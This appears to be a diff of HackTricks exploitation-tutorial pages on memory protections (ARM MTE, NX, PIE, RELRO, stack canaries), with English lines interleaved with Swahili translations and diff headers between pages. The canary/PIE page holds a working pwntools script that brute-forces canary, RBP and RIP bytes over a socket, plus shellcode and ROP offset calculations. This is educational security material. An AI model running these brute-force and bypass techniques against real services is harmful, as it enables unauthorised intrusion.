MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.&#x20;
MTE inafanya kazi kwa **kugawanya kumbukumbu katika blocks ndogo, za ukubwa thabiti, ambapo kila block inapata tag,** kwa kawaida bits chache kwa ukubwa.&#x20;
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
Wakati pointer inaundwa kuashiria kumbukumbu hiyo, inapata tag hiyo hiyo. Tag hii inahifadhiwa katika **bits zisizotumika za pointer ya kumbukumbu**, ikihusisha pointer na block yake inayolingana ya kumbukumbu.
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
Wakati programu inapata kumbukumbu kupitia pointer, vifaa vya MTE vinakagua kwamba **tag ya pointer inalingana na tag ya block ya kumbukumbu**. Ikiwa tags **hazilingani**, inaashiria **upatikanaji haramu wa kumbukumbu.**
### MTE Pointer Tags
Tags inside a pointer are stored in 4 bits inside the top byte:
Tags ndani ya pointer zinahifadhiwa katika bits 4 ndani ya byte ya juu:
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Therefore, this allows up to **16 different tag values**.
Hivyo, hii inaruhusu hadi **maadili 16 tofauti ya tag.**
### MTE Memory Tags
Every **16B of physical memory** have a corresponding **memory tag**.
Kila **16B ya kumbukumbu ya kimwili** ina tag inayolingana ya **kumbukumbu.**
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
Tags za kumbukumbu zinahifadhiwa katika **eneo maalum la RAM** (lisilopatikana kwa matumizi ya kawaida). Kuwa na tags 4bits kwa kila tags 16B za kumbukumbu hadi 3% ya RAM.
ARM inintroduce maagizo yafuatayo ili kudhibiti tags hizi katika kumbukumbu maalum ya RAM:
```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
...
```
## Checking Modes
## Kuangalia Njia
### Sync
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
This is the slowest and most secure.
CPU inakagua lebo **wakati wa kutekeleza maagizo**, ikiwa kuna tofauti, inainua hitilafu.\
Hii ni polepole zaidi na salama zaidi.
### Async
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
CPU inakagua lebo **kwa njia isiyo ya kawaida**, na wakati tofauti inapatikana inaset bit ya hitilafu katika moja ya register za mfumo. Ni **haraka** kuliko ile ya awali lakini haiwezi **kuonyesha** agizo halisi lililosababisha tofauti na haiinui hitilafu mara moja, ikitoa muda kwa mshambuliaji kukamilisha shambulio lake.
### Mixed
???
## Implementation & Detection Examples
## Mifano ya Utekelezaji na Ugunduzi
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
Inaitwa Hardware Tag-Based KASAN, MTE-based KASAN au in-kernel MTE.\
Wagawaji wa kernel (kama `kmalloc`) wata **ita moduli hii** ambayo itajiandaa lebo ya kutumia (kwa bahati nasibu) kuunganisha na nafasi ya kernel iliyotolewa na pointer iliyorejeshwa.
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
Kumbuka kwamba itakuwa **inaashiria granules za kumbukumbu za kutosha tu** (16B kila moja) kwa saizi iliyohitajika. Hivyo ikiwa saizi iliyohitajika ilikuwa 35 na slab ya 60B ilitolewa, itashiria 16\*3 = 48B na lebo hii na **zingine** zita **ashiriwa** na lebo inayoitwa **lebo isiyo sahihi (0xE)**.
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
Lebo **0xF** ni **pointer inayolingana na zote**. Kumbukumbu yenye pointer hii inaruhusu **lebo yoyote kutumika** kufikia kumbukumbu yake (hakuna tofauti). Hii inaweza kuzuia MET kugundua shambulio ikiwa lebo hizi zinatumika katika kumbukumbu iliyoshambuliwa.
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
Kwa hivyo kuna **thamani 14** zinazoweza kutumika kuunda lebo kwani 0xE na 0xF zimehifadhiwa, ikitoa uwezekano wa **kurudia lebo** kuwa 1/17 -> karibu **7%**.
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
Ikiwa kernel inapata **granule ya lebo isiyo sahihi**, **tofauti** itagunduliwa. Ikiwa inapata eneo lingine la kumbukumbu, ikiwa **kumbukumbu ina lebo tofauti** (au lebo isiyo sahihi) tofauti itagunduliwa. Ikiwa mshambuliaji ana bahati na kumbukumbu inatumia lebo ile ile, haitagunduliwa. Uwezekano ni karibu 7%
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
Hitilafu nyingine inatokea katika **granule ya mwisho** ya kumbukumbu iliyotolewa. Ikiwa programu ilihitaji 35B, ilipatiwa granule kutoka 32 hadi 48. Kwa hivyo, **bytes kutoka 36 hadi 47 zinatumia lebo ile ile** lakini hazikuhitajika. Ikiwa mshambuliaji anapata **bytes hizi za ziada, hii haitagunduliwa**.
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
Wakati **`kfree()`** inatekelezwa, kumbukumbu inarejeshwa na lebo isiyo sahihi, hivyo katika **matumizi baada ya uhuru**, wakati kumbukumbu inapata tena, **tofauti inagunduliwa**.
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
Hata hivyo, katika matumizi baada ya uhuru, ikiwa **kipande kile kile kinarejeshwa tena na lebo ile ile** kama awali, mshambuliaji ataweza kutumia ufikiaji huu na hii haitagunduliwa (karibu 7% uwezekano).
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
Zaidi ya hayo, ni **`slab` na `page_alloc`** pekee zinazotumia kumbukumbu iliyo na lebo lakini katika siku zijazo hii pia itatumika katika `vmalloc`, `stack` na `globals` (wakati wa video hizi bado zinaweza kutumika vibaya).
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
Wakati **tofauti inagunduliwa** kernel itakuwa **na wasiwasi** ili kuzuia unyonyaji zaidi na majaribio ya unyonyaji (MTE haina matokeo ya uwongo).
## References
## Marejeleo
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)

View File

@ -4,13 +4,13 @@
## Basic Information
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
**No-Execute (NX)** bit, pia inajulikana kama **Execute Disable (XD)** katika terminolojia ya Intel, ni kipengele cha usalama wa vifaa kilichoundwa ili **kupunguza** athari za mashambulizi ya **buffer overflow**. Wakati inatekelezwa na kuwezeshwa, inatofautisha kati ya maeneo ya kumbukumbu ambayo yanakusudiwa kwa **executable code** na yale yanayokusudiwa kwa **data**, kama vile **stack** na **heap**. Wazo kuu ni kuzuia mshambuliaji kutekeleza msimbo mbaya kupitia udhaifu wa buffer overflow kwa kuweka msimbo mbaya kwenye stack kwa mfano na kuelekeza mtiririko wa utekelezaji kwake.
## Bypasses
- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
- Inawezekana kutumia mbinu kama [**ROP**](../rop-return-oriented-programing/) **kuvuka** ulinzi huu kwa kutekeleza vipande vya msimbo wa executable ambavyo tayari vipo kwenye binary.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,26 +4,26 @@
## Basic Information
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
Binary iliyokusanywa kama PIE, au **Position Independent Executable**, inamaanisha **programu inaweza kupakiwa katika maeneo tofauti ya kumbukumbu** kila wakati inatekelezwa, ikizuia anwani zilizowekwa kwa nguvu.
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
Njia ya kutumia hizi binaries inategemea kutumia **anwani za uhusiano**—mipaka kati ya sehemu za programu inabaki sawa hata kama maeneo halisi yanabadilika. Ili **kupita PIE, unahitaji tu kuvuja anwani moja**, kawaida kutoka **stack** kwa kutumia udhaifu kama mashambulizi ya format string. Mara unapokuwa na anwani, unaweza kuhesabu nyingine kwa **mipaka yao iliyowekwa**.
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
Kidokezo muhimu katika kutumia binaries za PIE ni kwamba **anwani yao ya msingi kawaida huishia na 000** kutokana na kurasa za kumbukumbu kuwa vitengo vya randomization, vilivyopimwa kwa 0x1000 bytes. Mwelekeo huu unaweza kuwa **ukaguzi muhimu ikiwa exploit haifanyi kazi** kama inavyotarajiwa, ikionyesha ikiwa anwani sahihi ya msingi imebainishwa.\
Au unaweza kutumia hii kwa exploit yako, ikiwa unavuja kwamba anwani iko katika **`0x649e1024`** unajua kwamba **anwani ya msingi ni `0x649e1000`** na kutoka hapo unaweza tu **kuhesabu mipaka** ya kazi na maeneo.
## Bypasses
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
Ili kupita PIE inahitajika **kuvuja anwani fulani ya binary iliyopakiwa**, kuna chaguzi kadhaa kwa hili:
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
- **ASLR Imezimwa**: Ikiwa ASLR imezimwa, binary iliyokusanywa na PIE daima **itawekwa katika anwani ile ile**, kwa hivyo **PIE itakuwa haina maana** kwani anwani za vitu daima zitakuwa mahali pamoja.
- Kuwa **na** uvujaji (kawaida katika changamoto rahisi za CTF, [**angalia mfano huu**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP na EIP values** katika stack hadi uvuja anwani sahihi:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Tumia udhaifu wa **kusoma bila mpangilio** kama [**format string**](../../format-strings/) kuvuja anwani ya binary (kwa mfano kutoka stack, kama katika mbinu ya awali) ili kupata msingi wa binary na kutumia mipaka kutoka hapo. [**Pata mfano hapa**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**Ikiwa unakutana na binary iliyo na ulinzi wa canary na PIE (Position Independent Executable) huenda unahitaji kupata njia ya kuzipita.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> Kumbuka kwamba **`checksec`** huenda isiweze kugundua kwamba binary ina ulinzi wa canary ikiwa hii ilikusanywa kwa njia ya statically na haiwezi kutambua kazi hiyo.\
> Hata hivyo, unaweza kugundua hili kwa mikono ikiwa unapata kwamba thamani imehifadhiwa kwenye stack mwanzoni mwa wito wa kazi na thamani hii inakaguliwa kabla ya kutoka.
## Brute-Force Addresses
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
Ili **kupita PIE** unahitaji **kuvuja anwani fulani**. Na ikiwa binary haivuji anwani zozote, bora ni **kujaribu RBP na RIP zilizohifadhiwa kwenye stack** katika kazi iliyo hatarini.\
Kwa mfano, ikiwa binary ina ulinzi kwa kutumia both **canary** na **PIE**, unaweza kuanza kujaribu canary, kisha **bytes** 8 zinazofuata (x64) zitakuwa **RBP** iliyohifadhiwa na **bytes** 8 zinazofuata zitakuwa **RIP** iliyohifadhiwa.
> [!TIP]
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
> Inatarajiwa kwamba anwani ya kurudi ndani ya stack inahusiana na msimbo mkuu wa binary, ambayo, ikiwa udhaifu uko kwenye msimbo wa binary, kawaida itakuwa hivyo.
Ili kujaribu RBP na RIP kutoka kwa binary unaweza kubaini kwamba byte iliyokisiwa kuwa sahihi ni sahihi ikiwa programu inatoa kitu au haijashindwa. **Kazi ile ile** kama ilivyoandikwa kwa ajili ya kujaribu canary inaweza kutumika kujaribu RBP na RIP:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
Jambo la mwisho unahitaji kushinda PIE ni kuhesabu **anwani muhimu kutoka kwa zilizovuja** anwani: **RBP** na **RIP**.
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
Kutoka kwa **RBP** unaweza kuhesabu **wapi unandika shell yako kwenye stack**. Hii inaweza kuwa muhimu sana kujua wapi utaandika mfuatano _"/bin/sh\x00"_ ndani ya stack. Ili kuhesabu umbali kati ya RBP iliyovuja na shellcode yako unaweza tu kuweka **breakpoint baada ya kuvuja RBP** na kuangalia **wapi shellcode yako iko**, kisha, unaweza kuhesabu umbali kati ya shellcode na RBP:
```python
INI_SHELLCODE = RBP - 1152
```
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
Kutoka kwa **RIP** unaweza kuhesabu **anwani ya msingi ya binary ya PIE** ambayo unahitaji ili kuunda **mnyororo wa ROP halali**.\
Ili kuhesabu anwani ya msingi fanya tu `objdump -d vunbinary` na angalia anwani za disassemble za hivi karibuni:
![](<../../../images/image (479).png>)
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
Katika mfano huo unaweza kuona kwamba ni **Byte 1 na nusu pekee zinazohitajika** kutafuta msimbo wote, kisha, anwani ya msingi katika hali hii itakuwa **RIP iliyovuja lakini ikimalizika kwenye "000"**. Kwa mfano ikiwa umevuja `0x562002970ecf` anwani ya msingi ni `0x562002970000`
```python
elf.address = RIP - (RIP & 0xfff)
```
## Improvements
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
Kulingana na [**uchambuzi fulani kutoka kwa chapisho hili**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), inawezekana kwamba wakati wa kuvuja thamani za RBP na RIP, seva haitakufa na baadhi ya thamani ambazo si sahihi na skripti ya BF itadhani kuwa imepata zile sahihi. Hii ni kwa sababu inawezekana kwamba **anwani fulani hazitavunja hata kama hakuna zile sahihi kabisa**.
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
Kulingana na chapisho hilo la blog, inapendekezwa kuongeza ucheleweshaji mfupi kati ya maombi kwa seva.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,32 +4,30 @@
## Relro
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
**RELRO** inamaanisha **Relocation Read-Only**, na ni kipengele cha usalama kinachotumika katika binaries kupunguza hatari zinazohusiana na **GOT (Global Offset Table)** overwrites. Kuna aina mbili za ulinzi wa **RELRO**: (1) **Partial RELRO** na (2) **Full RELRO**. Zote zinapanga upya **GOT** na **BSS** kutoka kwa faili za ELF, lakini kwa matokeo na athari tofauti. Kwa hakika, zinaweka sehemu ya **GOT** _kabla_ ya **BSS**. Hiyo ni, **GOT** iko katika anwani za chini kuliko **BSS**, hivyo kufanya iwezekanavyo kuandika tena **GOT** entries kwa kujaa kwa mabadiliko katika **BSS** (kumbuka kuandika kwenye kumbukumbu kunatokea kutoka anwani za chini kuelekea juu).
Let's break down the concept into its two distinct types for clarity.
Hebu tufanye uchambuzi wa dhana hii katika aina zake mbili tofauti kwa uwazi.
### **Partial RELRO**
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
**Partial RELRO** inachukua njia rahisi kuboresha usalama bila kuathiri sana utendaji wa binary. Partial RELRO inafanya **.got iwe ya kusoma tu (sehemu isiyo ya PLT ya sehemu ya GOT)**. Kumbuka kwamba sehemu nyingine (kama vile .got.plt) bado inaweza kuandikwa, na hivyo, inakuwa chini ya mashambulizi. Hii **haiwezi kuzuia GOT** kutumika vibaya **kutokana na udhaifu wa kuandika bila mpangilio**.
Note: By default, GCC compiles binaries with Partial RELRO.
Kumbuka: Kwa kawaida, GCC inakusanya binaries na Partial RELRO.
### **Full RELRO**
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
**Full RELRO** inaongeza ulinzi kwa **kufanya GOT yote (sawa na .got na .got.plt) na sehemu ya .fini_array** kuwa kabisa **ya kusoma tu.** Mara binary inapoanza, anwani zote za kazi zinatatuliwa na kupakiwa katika GOT, kisha, GOT inakumbukwa kama ya kusoma tu, kwa ufanisi kuzuia mabadiliko yoyote kwake wakati wa utendaji.
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
It's possible to see if Full RELRO is **enabled** in a binary with:
Hata hivyo, gharama ya Full RELRO iko katika utendaji na muda wa kuanzisha. Kwa sababu inahitaji kutatua alama zote za dinamik wakati wa kuanzisha kabla ya kuashiria GOT kama ya kusoma tu, **binaries zenye Full RELRO iliyoanzishwa zinaweza kukumbana na muda mrefu wa kupakia**. Mzigo huu wa ziada wa kuanzisha ndio sababu Full RELRO haijaanzishwa kwa kawaida katika binaries zote.
Inawezekana kuona ikiwa Full RELRO ime **anzishwa** katika binary kwa:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Bypass
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
Ikiwa Full RELRO imewezeshwa, njia pekee ya kuipita ni kutafuta njia nyingine ambayo haitahitaji kuandika kwenye jedwali la GOT ili kupata utekelezaji wa kiholela.
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
Kumbuka kwamba **GOT ya LIBC kwa kawaida ni Partial RELRO**, hivyo inaweza kubadilishwa kwa kuandika kiholela. Taarifa zaidi katika [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,72 @@
{{#include ../../../banners/hacktricks-training.md}}
## **StackGuard and StackShield**
## **StackGuard na StackShield**
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
**StackGuard** inaingiza thamani maalum inayojulikana kama **canary** kabla ya **EIP (Extended Instruction Pointer)**, haswa `0x000aff0d` (inawakilisha null, newline, EOF, carriage return) ili kulinda dhidi ya buffer overflows. Hata hivyo, kazi kama `recv()`, `memcpy()`, `read()`, na `bcopy()` bado zina hatari, na haipati **EBP (Base Pointer)**.
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
**StackShield** inachukua mbinu ya hali ya juu zaidi kuliko StackGuard kwa kudumisha **Global Return Stack**, ambayo inahifadhi anwani zote za kurudi (**EIPs**). Mpangilio huu unahakikisha kwamba overflow yoyote haileti madhara, kwani inaruhusu kulinganisha kati ya anwani zilizohifadhiwa na halisi za kurudi ili kugundua matukio ya overflow. Zaidi ya hayo, StackShield inaweza kuangalia anwani ya kurudi dhidi ya thamani ya mpaka ili kugundua ikiwa **EIP** inaelekeza nje ya nafasi ya data inayotarajiwa. Hata hivyo, ulinzi huu unaweza kupuuziliwa mbali kupitia mbinu kama Return-to-libc, ROP (Return-Oriented Programming), au ret2ret, ikionyesha kwamba StackShield pia haipati mabadiliko ya ndani.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
Mekanism hii inaweka **canary** kabla ya **EBP**, na kuandaa mabadiliko ya ndani ili kuweka buffers katika anwani za juu za kumbukumbu, kuzuia kuandika tena mabadiliko mengine. Pia inakopi kwa usalama hoja zilizopitishwa kwenye stack juu ya mabadiliko ya ndani na inatumia nakala hizi kama hoja. Hata hivyo, haipati arrays zenye vipengele chini ya 8 au buffers ndani ya muundo wa mtumiaji.
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
**Canary** ni nambari ya nasibu inayotokana na `/dev/urandom` au thamani ya msingi ya `0xff0a0000`. Inahifadhiwa katika **TLS (Thread Local Storage)**, ikiruhusu nafasi za kumbukumbu zinazoshirikiwa kati ya nyuzi kuwa na mabadiliko ya kimataifa au ya kudumu. Mabadiliko haya awali yanakopiwa kutoka kwa mchakato wa mzazi, na michakato ya watoto inaweza kubadilisha data zao bila kuathiri mzazi au ndugu. Hata hivyo, ikiwa **`fork()` inatumika bila kuunda canary mpya, michakato yote (mzazi na watoto) inashiriki canary ile ile**, ikifanya iwe hatari. Katika usanifu **i386**, canary inahifadhiwa katika `gs:0x14`, na katika **x86_64**, katika `fs:0x28`.
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
Ulinzi huu wa ndani unagundua kazi zenye buffers zinazoweza kushambuliwa na kuingiza msimbo mwanzoni mwa kazi hizi kuweka canary, na mwishoni kuthibitisha uaminifu wake.
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
Wakati seva ya wavuti inatumia `fork()`, inaruhusu shambulio la brute-force kutabiri byte ya canary kwa byte. Hata hivyo, kutumia `execve()` baada ya `fork()` inafuta nafasi ya kumbukumbu, ikiondoa shambulio hilo. `vfork()` inaruhusu mchakato wa mtoto kutekeleza bila nakala hadi inajaribu kuandika, wakati ambapo nakala inaundwa, ikitoa mbinu tofauti ya kuunda michakato na kushughulikia kumbukumbu.
### Lengths
### Urefu
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
Katika binaries za `x64`, cookie ya canary ni **`0x8`** byte qword. **Bytes saba za kwanza ni za nasibu** na byte ya mwisho ni **byte ya null.**
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
Katika binaries za `x86`, cookie ya canary ni **`0x4`** byte dword. **Bytes tatu za kwanza ni za nasibu** na byte ya mwisho ni **byte ya null.**
> [!CAUTION]
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
> Byte ya chini ya umuhimu ya canaries zote ni byte ya null kwa sababu itakuwa ya kwanza katika stack ikitoka kwenye anwani za chini na hivyo **kazi zinazosomea nyuzi zitasimama kabla ya kuisoma**.
## Bypasses
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
**Kuvuja canary** na kisha kuandika tena (kwa mfano, buffer overflow) kwa thamani yake mwenyewe.
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
